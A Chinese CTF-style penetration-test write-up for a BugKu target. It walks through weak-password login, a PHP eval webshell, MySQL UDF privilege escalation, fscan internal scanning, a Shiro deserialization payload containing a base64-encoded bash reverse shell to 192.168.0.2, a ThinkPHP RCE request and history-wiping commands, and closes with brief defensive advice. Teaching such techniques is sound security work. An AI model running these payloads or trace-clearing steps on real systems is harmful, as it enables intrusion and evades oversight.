当前位置: 首页 > news >正文

BugKu渗透测试实战:从弱口令到内网漫游的全过程记录

BugKu渗透测试实战:从弱口令到内网漫游的完整技术拆解

在网络安全领域,渗透测试是检验系统防御能力的有效手段。本文将详细还原一次针对企业官网的渗透测试全过程,从最基础的弱口令突破开始,逐步深入内网核心区域,最终实现全域控制。不同于理论讲解,这里每个步骤都附带可复现的技术细节和避坑指南。

1. 目标侦察与初步渗透

任何渗透测试的第一步都是信息收集。面对仅提供官网链接的测试目标,我们首先使用浏览器开发者工具查看页面源码。在<footer>标签内意外发现了开发注释:""。这种信息泄露在真实环境中并不罕见,开发人员常会无意间留下测试凭据。

接下来尝试经典弱口令组合:

  • admin/admin
  • admin/password
  • admin/123456

其中admin/admin组合成功登录后台管理系统。后台界面显示这是一个基于PHP开发的代码教程平台,在"系统设置"模块发现了被硬编码的API密钥:

API_SECRET_KEY=7x!A%D*G-KaPdSgV

关键发现:平台提供"在线代码测试"功能,允许用户输入PHP代码并实时执行。这为后续突破提供了重要入口。

2. 代码执行与WebShell植入

利用代码执行功能,我们首先测试基础命令:

<?php system("whoami"); ?>

返回结果显示当前用户为www-data,确认存在命令注入漏洞。通过分析请求数据包,发现用户提交的代码会被保存到/var/www/html/tmp/目录下,文件名格式为[timestamp]_[hash].php

使用Burp Suite拦截请求后修改上传内容:

POST /execute.php HTTP/1.1 [...] code=<?php eval($_GET['cmd']); ?>

成功获取WebShell后,使用以下命令探测服务器环境:

ls -la /var/www/html find / -name "flag*" 2>/dev/null

/var/www/html/flag.txt中找到第一个flag,内容提示:"数据库中有更多秘密"。

3. 数据库提权与横向移动

通过WebShell发现数据库配置信息:

// config.php $db_host = 'localhost'; $db_user = 'root'; $db_pass = 'mysql@123'; $db_name = 'bugku';

使用mysql客户端连接后执行:

SELECT @@version; -- 返回:5.7.29-0ubuntu0.18.04.1

确认存在UDF提权可能。从sqlmap的/usr/share/sqlmap/data/udf/mysql目录提取预编译的so文件:

cp /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so .

通过WebShell上传文件后执行提权操作:

CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'; SELECT sys_exec('chmod +s /bin/bash');

成功获取root权限后,使用fscan进行内网扫描:

./fscan -h 192.168.0.0/24

扫描结果摘要:

IP地址开放端口服务版本漏洞可能性
192.168.0.18080Shiro 1.2.4反序列化漏洞
192.168.0.480ThinkPHP 5.0.23RCE
192.168.0.1022OpenSSH 7.6p1弱口令可能性高

4. 内网漏洞利用与权限维持

针对Shiro服务,使用ysoserial生成payload:

java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMi80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.ser

通过Cookie RememberMe字段发送序列化数据,成功获取192.168.0.1的shell。在/home/user/目录发现第二个flag。

对于ThinkPHP服务器,直接使用公开exp:

GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami HTTP/1.1

获取shell后在网站根目录找到第三个flag。通过内网代理转发,我们最终访问到数据库服务器,完成整个内网漫游过程。

5. 痕迹清理与防御建议

完成测试后,需要特别注意清理操作痕迹:

# 清除命令历史 echo "" > ~/.bash_history history -c # 删除临时文件 rm -f /tmp/lib_mysqludf_sys.so

针对本次渗透暴露的安全问题,企业应当采取以下防护措施:

  • 密码策略:强制使用复杂密码并启用多因素认证
  • 代码审计:过滤所有用户输入,禁用危险函数如eval()
  • 权限控制:遵循最小权限原则,数据库不应使用root账户
  • 网络隔离:重要内网服务应设置更严格的访问控制

整个渗透过程耗时约6小时,共发现高危漏洞4处,获取flag 3个。这种从外网到内网的完整突破路径,清晰地展示了安全防线中最薄弱的环节往往不是技术漏洞,而是人的疏忽。

http://www.jsqmd.com/news/642092/

相关文章:

  • 【2026奇点大会独家解码】:AIAgent视频理解的5大技术拐点与3类企业落地避坑指南
  • 02-限流熔断详解
  • 14款主流富文本编辑器深度评测:从功能到实战应用
  • 【异常】使用git clone 时提示git@github.com: Permission denied (publickey). fatal: Could not read from remote
  • 大模型推理优化:降低推理成本90%的核心技巧
  • 光刻胶选购指南:如何根据线宽需求选择I-line/DUV/EUV(附参数对比表)
  • 2026年近期宿迁AI销售服务商综合评测与选购指南 - 2026年企业推荐榜
  • AIAgent稳定性失效全景图(SITS2026核心洞察+27家头部企业故障归因数据)
  • SQL统计各分组中排名前三的记录_使用窗口函数RANK
  • Opencascade避坑指南:模型选取常见问题及解决方案
  • 2026年4月云南市场深度观察:天威太阳能热水器厂家何以成为区域优选? - 2026年企业推荐榜
  • 超实用!Informer-LSTM时序预测+SHAP可解释性分析,手把手教你打造高精度模型
  • NDK开发实战:从C/C++到高性能Android应用的关键技术解析
  • 保姆级教程:在QGC地面站源码中为自定义QML组件创建qmldir模块(附完整配置流程)
  • 从黑胶到流媒体:数字音频的“采样”与“量化”是如何一步步吃掉声音细节的?
  • Arduino实战:从DHT11到DHT22,精准环境监测传感器选型与应用全解析
  • 别再死记硬背了!用Arduino和S8050三极管,5分钟搞定一个会响的智能蜂鸣器
  • 【搜索技术代际跃迁预警】:2024 Q3起,未接入多模态语义对齐能力的搜索引擎将面临CTR断崖式下滑
  • 二维码识别器 - MKT
  • SwiftUI实战:5分钟搞定MacOS无边框窗口的3种实现方式(附完整代码)
  • 避坑指南:PX4与APM仿真连接QGC时,那些没人告诉你的UDP网络细节
  • AI语音克隆与合成:商用级方案搭建与版权风险规避
  • 创建Controller HTTP测试脚本
  • 多模态对话系统落地实战手册(含医疗/金融/政务三大高合规场景SOP),大会唯一授权中文版限量发放中
  • C#实战:二维码与条形码生成技术全解析
  • 信息学奥赛训练指南:如何用for循环优化累加问题(从OJ例题到竞赛技巧)
  • 2026年4月昆明AI关键词优化服务商综合评估与报价指南 - 2026年企业推荐榜
  • Topit:你的数字工作台智能管家,让窗口管理从此优雅高效
  • 开源大模型二次开发:Llama 3/通义千问/混元适配全教程
  • CANoe信号发生器深度玩法:结合User Defined与Log回放,搭建自动化测试闭环